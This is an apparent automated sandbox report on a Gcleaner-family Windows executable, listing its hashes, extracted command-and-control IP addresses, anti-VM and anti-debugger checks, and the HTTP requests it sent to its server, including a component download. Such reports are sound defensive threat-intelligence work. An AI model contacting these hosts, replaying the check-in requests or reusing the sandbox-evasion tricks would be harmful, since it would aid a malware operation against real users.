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Analysis
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max time kernel
146s -
max time network
147s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
06/12/2024, 02:17 UTC
Static task
static1
Behavioral task
behavioral1
Sample
20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe
Resource
win7-20240903-en
General
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Target
20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe
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Size
1.8MB
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MD5
872445f439140f8b8db73ec546971cc9
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SHA1
86ca54d31ba843a883c352f387a623dd35c09c8c
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SHA256
20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab
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SHA512
eb28f12e13fabfc1d2ebf768548cafded96006de1c8647f7cdfe37f050d6a16a6cbe2a0e4131dc4a1c7027285bb5d7af544b4168627a793884f1fa169f6aa50c
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SSDEEP
24576:UB06NnSMYTaEX4H3VXTzQmmVSXmx7ILXocFLwFkue/e0rShVM6vH663KRqRi8QHf:X6NSHX4XVsmmVIm6b7FLwFFET3gKIc
Malware Config
Extracted
gcleaner
92.63.197.221
45.91.200.135
Signatures
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Gcleaner family
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Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe -
Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Wine 20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 2084 20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2084 20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe"C:\Users\Admin\AppData\Local\Temp\20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2084
Network
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GEThttp://92.63.197.221/add?substr=mixtwo&s=three&sub=20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exeRemote address:92.63.197.221:80RequestGET /add?substr=mixtwo&s=three&sub= HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: 1
Host: 92.63.197.221
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.0 500 Internal Server Error
Server: Apache/2.4.58 (Ubuntu)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
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GEThttp://92.63.197.221/add?substr=mixtwo&s=three&sub=20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exeRemote address:92.63.197.221:80RequestGET /add?substr=mixtwo&s=three&sub= HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: 1
Host: 92.63.197.221
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.58 (Ubuntu)
Content-Length: 1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
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GEThttp://92.63.197.221/dll/key20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exeRemote address:92.63.197.221:80RequestGET /dll/key HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: 1
Host: 92.63.197.221
Connection: Keep-Alive
Cache-Control: no-cache
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92.63.197.221:80http://92.63.197.221/add?substr=mixtwo&s=three&sub=http20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe641 B 397 B 5 5
HTTP Request
GET http://92.63.197.221/add?substr=mixtwo&s=three&sub=HTTP Response
500 -
92.63.197.221:80http://92.63.197.221/dll/keyhttp20aa6407587318875a98f4cc567752a4caffcd46104d7f42c427ad8b10317eab.exe977 B 376 B 4 4
HTTP Request
GET http://92.63.197.221/add?substr=mixtwo&s=three&sub=HTTP Response
200HTTP Request
GET http://92.63.197.221/dll/key